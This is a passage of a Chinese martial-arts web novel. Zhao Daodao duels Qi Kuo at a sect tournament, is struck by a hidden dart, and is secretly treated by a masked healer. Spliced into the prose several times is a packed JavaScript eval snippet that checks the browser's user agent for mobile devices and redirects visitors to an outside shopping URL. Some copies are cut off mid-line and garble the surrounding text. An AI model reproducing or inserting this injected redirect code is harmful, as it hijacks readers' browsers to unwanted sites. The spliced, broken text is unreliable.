“知道了。”周向晚这话是提点她别太冲动,峦岳派大比讲究以武会友,点到为止,这里不是生死擂,她明白。 赵刀刀握住唐雪的手轻轻拉了下,示意她不必紧张,冲他们挥挥手,“那我先过去了。” 二人看着她从人群中挤出去,消失无踪。 唐雪的手心有些出汗。 此时不比唐家堡擂台初见,唐雪已见识过恩人厉害之处,路上的刺客,太白山庄的阵法都没有触及她的极限,所以唐雪并不担忧,只希望恩人风头莫出的太大,这里毕竟是峦岳派的地盘,不知道齐阔还有没有什么后手。 “下一场——额……无名刀法赵刀刀!对——断水剑法齐阔!” 霎时一片寂静,接着又爆发出洪水般的讨论。 “哈哈哈,无名刀法是什么?” “估计是东搬西凑凑来的一套刀法吧,哈哈,竟然连名字也叫不上来!” “齐师兄居然应了她的约,这是冲战绩吧!” “哈哈哈哈!” 传出这声音的周围哄笑一片。 一声锣响,比武正式开始。 站在擂台中央,齐阔向她抱拳,赵刀刀一愣,也还礼回去。 从春天唐家堡并不美好的初遇到今天的夏日,这还是他们第一次这样客气。 然而一把黑刀横在二人之间,赵刀刀只要看见刀就会想起齐阔曾做下的好事。 就让一切在今天有个了断。 赵刀刀握紧了黑刀。 鼓声骤响,她看见齐阔随着鼓点拔剑冲来。 她站在原地,像是没有反应过来一样静立,直到齐阔剑尖的锋芒映在她的眼中,她侧过脸,扭开一个极小的弧度,脸侧的碎发擦过剑尖,剑锋顺着她的耳侧擦过。 鼓声停歇的间隙,赵刀刀眼中毫无波澜,声音又冷又轻。 “你的剑,实在很慢。” 她一旋身,竟一瞬出现在齐阔身后,身法轻巧灵动,诡谲难辨,一刀劈向齐阔。 齐阔反手以剑相挡,剑身被黑刀重重压下,他连连后退。 赵刀刀提步追上,横锋削去,火星闪动,黑刀被长剑所绞,她握刀靠近,一掌拍向齐阔的胸口—— 砰!鼓声重重一响。 “嘶。” 赵刀刀撤开几步,二人隔着三丈远相望。 她凝眉看着眼前的齐阔,眉目更冷,像挂着霜。 那一掌如拍在铁板上,坚硬无比,怎么会是人体的触感。 左手泛起红肿的热意,赵刀刀甩甩手不以为意,勾唇笑道,“还挺惜命。” 齐阔不语,又紧了紧握剑。最好的时机已去,那便正面迎上!他难道还真打不过一个不知从哪里冒出来的野女人不成?! 二人刀剑相接,转瞬过了二三十招,只是如猫逗老鼠一般,齐阔胸膛起伏,赵刀刀还毫无波澜。 离开唐家堡以来,齐阔确实也进步不小。 但还不够,还不够与她打成平手,更何况要胜她。 齐阔紧盯着她,拧起眉头,明明全是破绽,为何他一攻去,却眨眼成空! 他的断水剑法已到三层,断水剑法遇强则强,师父前几日教导他莫要在大比上轻易出招,但此时不使出断水剑法,如何胜她?! 赵刀刀发现齐阔的剑气变了,她瞳孔微缩,深红色的眼眸仿佛漩涡。喃喃道,“有点意思。” 她被吊起胃口,举刀将远处齐阔的身影压在刀锋之下。 在她眼中,黑刀将齐阔分作两半,一半是握剑的风雨欲来之势,一半是放下防守,将全身气力都关注于剑身的空门大开。 专注至极的时刻,她仿佛也变成了刀,气息更难以察觉,更锋利危险。 鼓声还在敲击。 台下的人亦心如擂鼓。 唐雪张大了嘴,她从没见过这样的赵刀刀。 或许在太白山庄中恩人也曾展现过如此的锋芒毕露,但她未曾亲眼看见。 齐阔的剑意不可小觑,似乎蕴含着排山倒海的威能。 赵刀刀那股以黑刀为中心蔓延开来的杀意却渐渐收敛得近乎于无,她的存在也薄弱如风。 但越是无法感知,越是让人觉得危险。 那个危险的角色是和她朝夕相处的恩人吗? 唐雪竟一时不敢去认。 她屏住呼吸。 周向晚的折扇也不摇了。 他眯起眼睛紧盯着擂台上的一举一动。 “断水剑法。” 齐阔向赵刀刀冲去,他的剑如水波,明明只有一柄剑,却仿佛无处不在,如水波环绕周围,剑锋藏于水波之中,难以琢磨。 赵刀刀双手握刀,此刻依靠眼睛,不如依靠本能。 她凝神静气,不去管眼前无处不在的剑气,试图捕捉万千剑影间那一丝如有实质的杀气。 她渐渐闭上了眼睛,耳畔的鼓声,人声皆已远去,蒙上薄雾,唯有长剑破空的声音如细针掉地,振聋发聩。 她看到了。 赵刀刀闭眼接招,仿佛背后长了眼睛,每一招都稳稳接下,身法如鱼般穿梭在漩涡般的剑气中。 以浅薄的伤口为代价,她适应了这道剑气,在其中随波逐流。 随着过招越多,朦胧中,她仿佛看见一条条细如蚕丝的线,勾勒出剑的来去。 这里! 她以黑刀入阵,挑断一根直觉最重要的线。 一声裂响。 局势瞬间逆转,她从随波逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157201|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流化作逆流而上。 张长老在台上握着椅柄的手青筋爆出,淡定不再。 他素知自己这徒儿心高气傲不肯认输,只是没想到使出了断水剑法,胜利还是没有向他倾倒,从赵刀刀变招的那一刻起,胜负已分,再打下去只会伤他道心啊。 而且这身法……张长老心中大震,这周身霸道的劲力他好像似曾相识……不过再看那诡异的黑刀,不,不对,张长老摇摇头,那人用剑,想来并非故人。 台上还在继续。 赵刀刀已近身齐阔,刀尖方挥到齐阔左臂三寸远,齐阔也立即反应过来,飞速退开两丈,但袖子还是被刀气所破,渗出一点血迹。 纵然齐阔心知峦岳派比武讲究点到为止,但此刻怒火已经烧尽了清明,众目睽睽下,内门弟子输给一个女人,还是在用了本门剑法的情况下,他无颜面见师父! 刀剑相接几个来回,齐阔用尽毕生所学,断水剑法的招式被他一一使出,他终于用出最霸道也最熟练的一招,逆流! 这招他练了上万次,却从未在人前展露,一时间,剑气如滔天洪水逆流倒转,长剑嗡鸣不止。 衣襟被血汗沾湿,汗水滴落擂台之上。 赵刀刀眼中露出一丝跃跃欲试的兴味。 打到此时,她已经不是为了出一口气而站在台上,她渐渐生出一丝酣畅淋漓的快感。 “我也送你我最喜欢的一招吧。” 她在心中道。 到这里以来,她看似随心所欲,却从未真正使出过完整的一招,她怕被人看见,怕被人识破,怕被人觊觎。 然而此刻赵刀刀终于放下心防,不在乎有没有人会认出这招,不在乎别人看到这招式会作何想。 黑刀化作点点墨迹飞向空中,遇上剑式如墨入水中,一点一点侵蚀水流,将一切染成黑色。 第一式,墨洒向飞! 齐阔目眦欲裂,牙关紧咬,直觉一片黑暗横扫而来,要将他吞没。 他手中握剑,却避无可避。 台下唐雪忽然惊呼一声,“那是?!” 周向晚握紧扇子,显然也看到了擂台之上乍起的剑气。 鼓声停了。 在赵刀刀绝不回头的刀意中,她的刀砍在一柄薄而韧的长剑上! 冲撞的剑气和刀意将她推飞至擂台边缘,黑刀在地上划过一道长长的线。 赵刀刀低着头咽下喉头泛起的腥甜,看了眼远处横空而出插在地中的长剑,方才撑着黑刀蹙眉转头,凝目望去。 她看到高台太师椅上站起了一个人。 众人随着那目光望去,是张长老! 张长老年过半百,却依然神采奕奕,只听他气沉丹田,那声音隔了老远还清晰地传到台上二人耳中。 他道,“赵姑娘,我徒儿此番比试技不如人,我派大比不兴以命相博,他既已输了,姑娘又何必如此狠心,非要致他于死地?” 赵刀刀心说:你说他输了,我看倒不是,是谁想以命相博,是谁留了多道后招,坐那么高你竟也看不明白? 她冷笑一声,撑着黑刀站起,“我与齐公子比武过招,与您何干?我听说峦岳派门规森严,断不是仗势欺人的小门小派,却原来连场比试都输不起……哦,错了,输不起的人或许不是他,而是不讲规矩的长老?” 她说完便紧闭双唇,不着痕迹地又咽下一口血。退让道,“好啊,我也愿意到此为止,那就请齐公子给我道个歉,认个输吧。” 台下众说纷纭。 张长老心中不满,但众目睽睽之下,没必要与小辈纠缠,他点点头。 转念间却生出一丝疑惑,认输就认输,这道歉又是哪一出? 但看齐阔没有反驳,心知自己的徒儿定然有事瞒他,眼下众目睽睽,他向齐阔使了个眼色,坐回椅中,没再多说。 赵刀刀撩起眼睛,她的火气又起了,对齐阔嗤笑道,“齐公子,道歉啊——” 齐阔咬紧牙关,自然不肯。 这番比试,光明正大地败了便败了,可师父却横插一手,叫他颜面何在? 师父难道早已认定他不如她,才在这种时刻出手相助?可师父难道不想想这么多人看着,今日之后天下人会对他作何想? 他齐阔真成了个只会倚靠师父威名的狐假虎威之徒? 忽见赵刀刀负手身后,刀被反握收起,台上只有他二人。 锣响之前,一切还未定! 齐阔怒火攻心,眼神一凛,竟后撤一步,提起最后的力气,复又向前冲去! 空气中呼的一声,台上石子颤动,是齐阔带起的剑气—— 剑气如有实质排山倒海般冲了过来,已到眼前! 这是!底下的人已经尖叫起来,“断水剑法第一式!逆流!” 赵刀刀压下心口不适,躲过剑气飞撤几步。“你找死!” 她亦是强弩之末,强提一口气用膝头飞顶齐阔的下腹,卸了他的力正要反打,提刀之际—— 却突见眼前飞来一道短促银光! 那是什么? 赵刀刀睁大了双眼似是不信,想要转头去看。 但机会只在一瞬,她已错失良机,齐阔的剑虽被卸了大半功力,还是哧的一声砍在背上。 “刀刀!!” “恩人!” 她似乎听见了赵小刀的疾呼和唐雪的尖叫。 “唐雪……” 赵刀刀脚步踉跄,持刀坠地,吐出一口血,眼前一黑,噗通一声倒在台上,昏了过去。 38. 上药 赵刀刀倒在台上。 台下一片惊呼。 唐雪和周向晚从人群中艰难挤出,匆匆跑上台。 齐阔提着剑站在中央,头发凌乱,一丝血线顺着手流淌在剑上,滚落剑尖滴在台上。 他的衣服破了,胸前的软甲露出漆黑一角。 血迹晕开,染红白衣,即使做了防护,软甲之下还是被刀气破开伤口。 伤口不致命,但很痛,像有火焰炙烤般灼烧,也像无数细针刺入般细密撕心。 他整个人都灰败下去,塌着肩膀不停喘息,颓唐而无力地待在原地。 他垂着眼睛,似乎有些茫然,半响想要抬起通红的眼睛环顾四周,却连抬起眼皮的力气也没有。 汗水落在眼睛里,遮蔽他的视野,又辣又痛。 一早等在擂台边的弟子上了台,轻松拿开他手里的剑,将他带下去,齐阔毫无反抗就被拖走。 “恩人!”唐雪飞奔至赵刀刀身边将她轻轻扶起,颤着手探到平和的呼吸才松了口气,泪水夺眶而出。 “还好……” 周向晚慢了几步,去跟管事的讲清缘由才过来。 “她怎么样?”周向晚撩起衣摆,单膝跪在旁边。 唐雪咬着唇,摇摇头。 峦岳派的弟子也上来了,唐雪拒绝了他们的帮助。 她撕开裙摆,将赵刀刀背上的伤口用布扎紧,转身想要把赵刀刀背在背上,却几次都没成功。 她的手软了。 周向晚转过身,“我来背她,你来拿刀。” “……嗯。” 唐雪帮忙,周向晚将赵刀刀背起。 拿刀时她却几次都没有拿起黑刀。 “我……” 陆珠珠不知何时也上来了。“我帮你们。” 她作势去帮唐雪拿起黑刀。 “嗯。”唐雪垂头握着手,没再逞强。 场子很快空了,台上只剩下裁判。 台下众人看着没有胜者也没有败者留下的擂台,一头雾水。 这场情势变化太快,跌宕起伏,一波三折,他们还有些混乱。 先是不知哪里来的赵刀刀和齐阔登台比武,身法武功皆压齐阔一头,逼得齐阔使出断水剑法。 途中赵刀刀暂落下风,众人以为要结束了,没想到她又化解攻势,甚至使出了十分厉害的没见过的招式。 然而眼看要胜负将要分出,看台上的张长老竟然破例出手了! 虽然是众人心知肚明他是为了自己的弟子,但这做法也实实在在破了规矩。 峦岳派一向最讲规矩,居然在这么多人眼前…… 众人默契地略过张长老那一环,又讨论起最后关头齐阔的暴起。 大家看得分明,齐阔最后突然趁机暴起袭击,应当也在赵刀刀招架之中。这十分合理,毕竟纵观全场,赵刀刀一直压着齐阔一头。 谁知紧要关头她却突然停了攻势,竟就这样挨了个正着? 真是奇了。 没人知道她为什么要停手,种种猜测如雨后春笋般冒出。 第一次,胜负不再是众人关注的重点,甚至那诡异的刀法也被人忽略,所有人都想知道她为什么忽然停手。 这其中有什么阴谋?有什么交易?有好事者意味不明地看向高台之上的张长老。 裁判也不好受,两个主角都被带下去了,徒留他在众目睽睽下独自凌乱。 按结果论,最后关头是齐阔打晕了赵刀刀,应该判他胜,可所有长眼睛的都不会认这个结果,这样判他实在难以张口,说出来恐怕也会下不去台。 按功法论,自然,所有人都瞧见了齐阔不敌一个使着黑刀的无名女子,甚至使出独门绝学也打不过她,可哪有哪有胜家倒在台上败家还站着的? 他一时为难。 正在这时有个弟子从长老席跑过来,与他低语几句。 裁判边听边点头附和,连道几声,“好……好……” 锵的一声。 敲锣的巨响引来众人瞩目,裁判大声道,“无名刀法赵刀刀战断水剑法齐阔,平局——!” 顿时一片嘘声,又是喋喋不休的争论。 台下不止峦岳派弟子,早有人对齐阔这内门弟子做派瞧不上眼,喊道,“诶!哪有这种好事,叫那姓齐的白捡了便宜去!” 又有人辩解道,“没敲锣,齐师兄出招她招架不住怎么了!我看平局都是齐师兄亏了呢!” “就是!哪有赢家是躺着赢的!哈哈哈哈!” “分明是齐阔暗箭伤人!” “分明是那女子自大收招自讨的!” …… 唐雪他们已离擂台很远,却还是能听见人群的声音。 在下面喝彩时不觉有他,现在只觉得这些声音太吵闹,太聒噪,她担忧地看着周向晚背上的赵刀刀,心想这些话可别让恩人听了去。 到屋中,周向晚和唐雪将赵刀刀背朝上放在榻上。 “医生跟了一路,不用他们进来看看吗?”周向晚问。 唐雪摇头拒绝,撸起袖子,“我来就行,恩人身上只有外伤,不用他们。” “你……”周向晚欲言又止。 他离开床边,走到还等在屋中的陆珠珠身旁,见她走了一路眉间出汗,道,“珠珠,把刀放这里就行。” 他伸手去接黑刀,却没等到陆珠珠松手。 “怎么了?” 陆珠珠面露难色,道,“表哥,你接稳了。” 周向晚点头,他也预料到这刀不同寻常,应该不轻。“好——” “唔!” 没想到做了准备,接过手黑刀还是下坠了一段才被他稳住。 陆珠珠用袖子擦去脸上的汗,快速而不显地笑了下,随即拉直唇线,“……有什么事,你们随时叫我。接下来还有场次,我得先走了。” “好。”周向晚将黑刀放在刀架上,道,“胜负不重要,保重自己。” “嗯。” 陆珠珠丝毫没管酸痛的手臂,转身离开。再多留一刻,放松一刻,她恐怕就不想走了。 唐雪走出来道,“我看过了,恩人只有背上那道伤口深,我带的药用完了,峦岳派的药在哪,我去看看。” “你先去,人在外面等着。”周向晚安抚她道,“先用这里的,陆家也有药,我让王四回去一趟取来。” “好。” 唐雪走了出去。 周向晚守在屋中。 赵刀刀的伤他帮不上忙,他走到黑刀附近,又试着用手拿刀。 手腕一沉,他跨步站稳,用双手将黑刀拿起。 “这么重。” 周向晚刚从陆珠珠手中接过时就心中一惊,这是第二次拿起,还是忍不住惊叹。 赵刀刀是怎么拿起这把刀的? 他用两只手适应着重量,再交换到左手单手提刀,发现自己最多只能拿着,完全做不出挥刀的动作。 他将黑刀放回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵刀刀感受到微凉的指尖和药丸的硬度,她紧紧闭上嘴抵抗那颗药。 赵刀刀听见了一声冷哼。 她的两颊被那人用另一只手捏住,赵刀刀浑身软弱无力,就这样被人张开嘴把药弹进喉中。 “咳,咳……” 那人将嘴合上放开了她,赵刀刀有些呛住,咳了片刻,但事与愿违,药丸还是滑入腹中。 “你给我吃了什么?” 赵刀刀听见悉悉索索的声音,这人好像打算走了。 “我该去哪找你?!” 她到这里来还没欠过什么,这人要是莫名其妙救了她,她该去哪儿报恩? 如果刚刚喂她的是毒药,她又该去哪里报仇? 门响了。 这人竟然什么也没说,就这么走了。 赵刀刀的头重重砸上床板,叹息一声,溃败地躺在床上。 “小刀……” 她试图呼唤。 黑刀没有回音。 赵刀刀有些绝望地静静躺着,却忽然听见了另一道呼吸声,房里还有一个人?! 她寒毛直竖,自己这是到了什么地方,怎么一个两个都不说话? 她睁着眼睛盯着眼前的黑暗,即使知道此刻的自己什么也做不了,还是警惕着。 不知过了多久,又听见吱呀的一声。 有人开门。 赵刀刀绷紧肌肉。 听见来人疑惑的声音,“周向晚?恩人?” 39. 暗器 “唐雪?” “恩人醒了?” 轻快的脚步声靠近了。 有东西被放在床边,发出一股浓郁的药草味儿。 “这是什么?”唐雪不解,将手搭在赵刀刀的脑后。 赵刀刀眼前的纱终于被解下了。 她适应着光线,慢慢睁开眼睛。 唐雪的发丝垂在眼前,她手里拿着的正是刚才蒙住她眼睛的一截白纱。 身体的力气还没有完全恢复,赵刀刀还是趴在床上,侧头看她。 唐雪随口埋怨道,“周向晚居然坐着也能睡着,他是不是背着我们半夜去喝酒了?” 赵刀刀的视线被床边的帷帐阻挡,但她终于知道了屋中另一个人是谁,提起的心渐渐放下。 “我昏倒之后你们把我带回来了?我的刀……” 赵刀刀记得自己最后倒在台上了。 “嗯。”唐雪放下白纱,有些心疼的将她背上的衣服揭开。“我们带你回来了,当时陆珠珠也在,她帮忙拿了刀。” 赵刀刀了然。 她问唐雪,“你出去了多久?” 唐雪悠悠叹气,“说起这个!我本来很快就能回来的,都怪峦岳派的人忽然把我叫到一边……” 她的声音停下了。 “怎么了?”赵刀刀问。 “恩人……你背上……是谁帮你上的药?!” 唐雪的语气激动,说到“药”字甚至微微颤抖。 赵刀刀如实道,“我不知道。” 唐雪指尖沾了药,送到鼻尖嗅闻,又沉默着抹开在手背上,转动手背。 看着薄薄一层药泛出的淡蓝色,她的声音带着一丝不可置信,“不可能,除了唐家,武洲不会有人还有这种药……” “这药不对吗?” “不……”唐雪深吸一口气,提起一个僵硬的笑,“这是最最上乘的伤药,峦岳派拿的那些可以不用了。” 唐雪一边收起药瓶一边问,“恩人有看见是谁来上的药吗?” “没有。”赵刀刀眨眨眼睛,“我想看的时候,那个人把我眼睛蒙住了。” “就是那块白纱?”唐雪意识到了。 她拿起放在床边的白纱,没看出任何特别之处。 “是个男人还是女人?” “女人。”虽然那人全程没有说话,只发出了一声冷哼,但赵刀刀感觉那是个女人。 一个手很细的女人。 “她还做了什么吗?” 赵刀刀不知该不该说那药丸的事,她现在没有不适,或许那药丸是好的。 见她面露难色,唐雪问,“除了上药她还做了什么对不对?” “嗯……”赵刀刀本不打算说的,说出来也只会徒添烦恼,只是看着唐雪急切的眼神,她好像很想知道这件事。 “她给我吃了一粒药。” “药……”唐雪没想到是这个,茫然一瞬,平复道,“恩人身体可有不适?我叫医生来看看。” “没什么不适,感觉挺好的。”赵刀刀发现自己的手渐渐能动了,她曲起手指。 “她还留下了什么消息吗?” “没有。”赵刀刀不知她还会不会再见到那个一言不发治伤离开的人。 唐雪的神情有些失落,她将赵刀刀的伤口都看过,把衣服整理好盖上。 赵刀刀回忆着她的表现,问,“这个药不该出现在这里吗?来的人或许是唐家的?” 唐雪摇头,“唐家只有我父亲有这种药,但是他在唐家堡。” 赵刀刀也有些疑惑了,“你认识这种药,你觉得会是谁?” “我不知道,也许是我母亲……”唐雪低声道。 她强颜欢笑,“没事,这药很好的,恩人不用担心,伤会好的很快。至于你吞下的药丸,我现在就去找医生来。” 她起身欲走。 那头周向晚已经幽幽转醒。 扶着头站起来,“唐雪,你回来了?” 唐雪眼前一亮。 她走到周向晚身边兴师问罪,“你居然敢在守人的时候睡着?你晚上偷偷出去喝酒了?” “绝对没有!”周向晚连连摆手,忍不住打了个哈欠,“啊……我也不知道怎么就睡着了……” “哼,这次没出事,不跟你计较了,罚你出去叫医生来。” 周向晚没拒绝,走到门边快出去时握紧扇子关心道,“怎么了,是伤药不管用吗,伤口加重了?” “没,你快去吧,药已经上了,伤会好的,就是以防万一!” 周向晚应声出门。 唐雪回到床边,蹲下身子,趴在床边看着赵刀刀认真道,“恩人,你要是再遇到那个神秘人,一定要告诉我。” 赵刀刀答应了。 唐雪又细细将伤看了一遍。她确认这药就是自己见过的,也发现上药之人的手法比她更娴熟,更细致,是医生。 不可能是母亲……难道是母亲的学生?或者朋友?她们会在峦岳派吗? 可唐雪从未听父亲说起过这些人。 如果她们在,为什么会帮恩人治了伤却不肯留下任何信息?又为什么不出面见她?她们是否已经离开峦岳派? 唐雪看着同样茫然的赵刀刀,知道自己不可能在此刻得到任何答案。 目前看来,只知道那人是冲着恩人来的……唐雪暗下决心,她会一直跟在恩人身边的。 等医生看过,没发现任何异状,反而惊讶于赵刀刀恢复的太快。 那么重的伤,常人至少要躺上一两天,她居然当天就缓过来了,精神地躺着。 要不是乱动会让伤口裂开,他们真怀疑她会下床走动。 赵刀刀对受伤已经习以为常,没告诉他们自己受过比这更重的伤,甚至没上药也熬过来了。或许这就是天生的大侠吧。 咕噜咕噜。 肚子的叫声打断了她的异想天开。 听着唐雪送走医生,感受着背后伤口绵绵的酥麻痛感,赵刀刀有些窘迫地回归现实,这才意识到自己从早上到现在只吃了一点儿点心。 唐雪走过来也听到了,笑道,“我怎么忘了这个,恩人稍等,我让他们送来。” “不用。”赵刀刀拒绝道,“你们已经守了很久了,出去逛逛吧,顺便吃饭,帮我带份白炸鸡回来就好。” “可……” 赵刀刀将手臂垫在下巴处,将头微微抬高,固执道,“不用太快,我在这里等你们,正好我想一个人待待。” “可……好吧。”唐雪看着赵刀刀的眼神妥协道,“峦岳派的人就在门口,有事恩人记得叫她们。” 她眨眨眼睛,冷酷道,“不过白炸鸡你还是别想了,我会叫厨房做清淡点的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“等你好了就去练刀,我教你的刀法你才练到第四层,等你练好了,那种暗器不会再伤到你。现在你该回去躺着了。” “知道了知道了,我现在还伤着呢,让让我吧。”赵刀刀闷声道。 她没有说,自己当时分神的原因不单单是因为疏忽,更是因为银光一闪间,她看清了暗器的样式。 那是唐家堡的样式,她在唐雪手中见过。 赵刀刀低头伸出自己的手看。 台上那一掌拍的结实,也肿的结实,不知是不是上药的缘故,左手竟然比她想象的好些。 她缓缓将右手握拳又张开。 其实与齐阔的比试也并非全然无获,那断水刀法是齐阔未能发挥出全部威力才被她轻松克制,要是张长老亲自出手或许就不会这样简单了。 只是那股子潮气…… 她生来多在山中,水性不佳,鲜少下水,之前总做浸入水中透不过气的噩梦,今天的事恰好勾起了那一丝久远恐惧。 那飞镖让她分神,可断水剑法中如水的剑意也令她烦躁,才挨了个正着。 赵刀刀用手轻轻揉着肚子,看向窗外,忽然想起一事,问,“小刀,唐雪出去取药的时候你醒着吗?” 40. 注定 虽然那人离开时小刀没有回应她的呼唤,但赵刀刀隐约记得自己是听到小刀的声音才醒来的。 趁现在赵小刀醒着,她想问清楚。 赵小刀没有迟疑,“唐雪离开的时候我看见了,那时候我醒着。” “后来呢,你看到那个人了吗?”赵刀刀问。 赵小刀知道她问的是谁,“她进来的时候我看见了,但我没有看见她的脸,她的脸遮着。” “那会儿周向晚已经睡了?” “是,那人进来之前周向晚就睡着了。”赵小刀迟疑着,没有说周向晚看刀的事。 和周向晚的猜测不同,他不是被谁锻造出来的兵器,也不是为了谁而锻造的兵器,从他有意识起,他就是一把黑刀。 他和赵刀刀的相见是一场意外,亦是他们的命中注定。 这世上,赵刀刀是唯一能听见他声音的人,他是赵刀刀的第一个朋友,也是最适合她的刀。 自相遇起,他们就再也没有分开过。 一个遮面的医生……赵刀刀有了一个猜测,喃喃道,“是那天帮唐雪看病的人?” “她的衣服是不是红色的?” “是。” 果然。但为什么已经遮了面还要遮住她的眼睛? 赵刀刀叹息道,“想不通啊……” 不过至少已经有了方向,赵刀刀不喜欢欠人什么,她决定在离开峦岳派之前找到那个人。 赵小刀渐渐没了声儿。 赵刀刀干瘪的肚子叫个不停。 她连喝三杯水试图压下饥饿,杯水车薪。 她忍不住祈祷唐雪赶快回来。 不知是不是天意,正想着,就听见了门外传来的声音。 屋外有人推门而进,笑着进来。 “恩人这会儿饿急了吧,我给你带了好饭!” 唐雪将饭菜放在桌上,“恩人怎么起来了?脸色好虚弱。” “先吃吧。” 赵刀刀没有推辞,饥饿感和重重疑惑吞噬着她的理智,一切都得先吃饱再说。 唐雪用手撑头看她吃饭,眼睛眨啊眨,似有千言万语却又不想打扰她吃饭。 赵刀刀很快吃完了一整只鸡,终于有功夫细嚼慢咽地吃小菜,她咽下饭食,笑道,“怎么了?”随口问,“周向晚呢,怎么没一起回来?” “我正要说这个,其实我能更早回来的。”唐雪道,“但是我跟他一起吃完饭后,回来途中遇到张秋水派来的人了,说是要赔礼道歉什么的。那弟子也是个轴的,说两句还没完,非要一直说,周向晚打发应付去了,让我先回来。” 赵刀刀继续吃饭,“要道歉就道吧。” “嗯,一切都是齐阔惹的祸,张长老今天还明目张胆地插手比武,他们赔礼道歉都是应该的。不能过恩人可别轻易原谅他们,便宜了他们。”唐雪恨恨道。 “好。”赵刀刀觉得唐雪似乎比她还要生气。 经过早上的一架,她对齐阔已没有太多感觉,只想早点离开峦岳派。 唐雪等她吃毕,还是用那副眼神欲言又止地看着赵刀刀。 “怎么了?你从吃饭的时候就一直看我。”赵刀刀问。 唐雪张了张嘴,话哽在喉中难以开口。 她想看看那把黑刀。 但她知道武器对赵刀刀这种独来独往的侠士来说有多重要,身家性命可以说都系在手中刀尖之上,恩人的黑刀那样特殊,想必也有很多秘密,自己问了,不会让她为难吧? 赵刀刀见唐雪的目光止不住地往屏风那边飘去,那里只有一长几,一刀架,一把黑刀而已。 她心中了然,“你拿过那把刀了?” “没有没有。”唐雪连连摆手,“是周向晚说恩人的刀比看着还重,我有些好奇……” 她毫不犹豫地把周向晚卖了。 见赵刀刀神色未变,唐雪有些期待地看着她,“我能拿起来试试吗?” 赵刀刀没拒绝,走到刀架旁欲拿起黑刀。 唐雪连忙制止,“我来吧,恩人小心伤口。” “好。”赵刀刀让开身位,忽然想到什么,对唐雪道,“我能看看你的飞镖吗?” “当然可以!”唐雪从怀中摸出一个飞镖,“随便看,这个就送给恩人了。” 赵刀刀一愣,笑道,“好啊。” 唐雪去拿黑刀,即使做足了准备,第一下还是没举起来。 她深吸一口气,用上双手,终于抬起来了一点。 唐雪握紧刀柄,手臂上的肌肉都绷起来了,慢慢把刀从刀架上移开。 她明白了,在台上那会儿不只是她手软没有拿起黑刀,更是因为这刀太重了。 拿刀的过程缓慢至极,像是在提起一块巨石。 这实在不能怪她,唐家暗器功夫讲究轻巧灵动,这把黑刀比她接触过最重的武器还要重许多。 她已经很久没拿过这么重的东西,仿佛有千斤重,坠得她右臂微微发颤。 赵刀刀将飞镖拿在手中细看,和她早上见到的样子大体一样,但唐雪的飞镖上都刻着蓝色雪花,她不知道那枚飞镖上有没有这个。 飞镖在指尖翻动,赵刀刀忽然想起了一个细节,唐雪站着的方位和那枚飞镖飞来的方向隔了很远。 还是自己大意了,是她仓促一惊,想到唐雪,心中锥痛,错了时机。 齐阔那一剑本该接下的,如果她第一时间就意识到唐雪不在那个方位,至少不会倒的那么狼狈。 赵刀刀将飞镖收好。 她好不容易交了朋友,断不会因为这种小事疑神疑鬼伤了情谊。 她相信不是唐雪。 唐雪已经把刀放回了刀架。 赵刀刀笑道,“你拿过了?怎么样?” 见她毫无避讳之意,唐雪彻底放下心来,问,“恩人,你的刀怎么那么重啊?每天背着不累吗?” 赵刀刀道,“我一开始也很难举起,觉得很重,不过后来就习惯了,习惯之后就再没想过重不重这回事。” 唐雪钦佩道,“你练功一定很认真。” 赵刀刀顺着她的话回想起在山门练刀的时日,只觉恍如隔世,她垂目道,“我师父管的严,只能认真些了,不过我初练刀时悟性不足,劈砍削切全是乱来,一个简单招式也比别人学得慢。” 她跟人学剑,与刀学刀,赵小刀和她亦师亦友。 他比师父更严苛,也更亲切,赵刀刀觉得世上不会再有这样的情谊。 她看向唐雪,“你小时候一定很机灵的。” 唐雪双颊微红,“倒也没有啦……再说,聪明有什么,还是得像恩人这样勤学苦练才能如此厉害。” 赵刀刀笑了笑,“厉害就不会被打趴下啦。” 唐雪见她对此事也不借口避及,更觉赵刀刀心怀宽广,真是少见的少年英雄。道,“我再帮恩人看看伤口吧,然后就不打扰恩人安寝啦。 唐雪犹豫片刻,不经意般说,“待大比过去我们就随着宾客一同离开吧。” “好。” 第二日。 赵刀刀醒来时周向晚已在院中。 周向晚已经知道她们准备离开的事,点头道,“等几日离开刚好,现在离开未免拂了峦岳派的面子,多留几日,看看大比也好,后面几日咱们也不用起早贪黑去占个好位置了,大不了就站远些嘛。” 他肯定了昨天的消息,说张长老要当面赔礼道歉。 唐雪还是有些不情愿,但他们三人虽说是客,到底还是在峦岳派,在张秋水的地盘上,不可能全然随心行事,便不再多说。 三人出发去找张秋水,路上却遇到一个没想到的故人。 说是故人,其实只见过一面,互通姓名而已。 顾倾城一袭红衣,在一丛白衣的人群中十分显眼,加之她容貌艳丽,又有很多隐晦的目光状作不经意落在她身上。 她巧遇三人,先来打了声招呼。 三人很快想起,这是采药遇到的那个姑娘。他们也回礼过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 